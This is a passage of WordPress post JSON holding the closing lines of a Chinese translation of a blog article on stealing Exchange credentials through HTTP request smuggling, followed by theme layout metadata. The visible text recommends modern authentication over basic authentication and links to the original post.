\u6f0f\u6d1e\u3002<code>http-reuse<\/code><\/p>\n\n\n\n<p>\u6700\u540e\uff0c\u6211\u4eec\u5f3a\u70c8\u5efa\u8bae\u4e0d\u8981\u4f7f\u7528\u57fa\u672c\u8eab\u4efd\u9a8c\u8bc1\u4f5c\u4e3a Exchange \u7684\u8eab\u4efd\u9a8c\u8bc1\u65b9\u6cd5\u3002\u8bf7\u6539\u7528\u65b0\u5f0f\u8eab\u4efd\u9a8c\u8bc1\uff08<a href=\"https:\/\/docs.microsoft.com\/en-us\/microsoft-365\/enterprise\/configure-exchange-server-for-hybrid-modern-authentication\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u3002\u4f7f\u7528\u65b0\u5f0f\u8eab\u4efd\u9a8c\u8bc1\uff0c\u5a01\u80c1\u53c2\u4e0e\u8005\u201c\u53ea\u80fd\u201d\u62e6\u622a oAuth \u4ee4\u724c\u3002<\/p>\n\n\n\n<p>\u539f\u6587\u94fe\u63a5\uff1a<a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/\">\u901a\u8fc7 HTTP \u8bf7\u6c42\u8d70\u79c1\u6536\u96c6\u6d3b\u52a8\u76ee\u5f55\u51ed\u636e (tij.me)<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5141\u8bb8\u60a8\u6c38\u4e45\u8bbf\u95ee Exchange \u5ba2\u6237\u7aef\u51ed\u636e\u7684\u6f0f\u6d1e\u3002 \u5229\u7528\u9762\u5411\u516c\u4f17\u7684\u670d\u52a1\u662f\u5728\u7f51\u7edc\u4e2d\u83b7\u5f97\u521d\u59cb\u7acb\u8db3\u70b9\u7684\u4f17\u591a\u65b9\u6cd5\u4e4b\u4e00 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center 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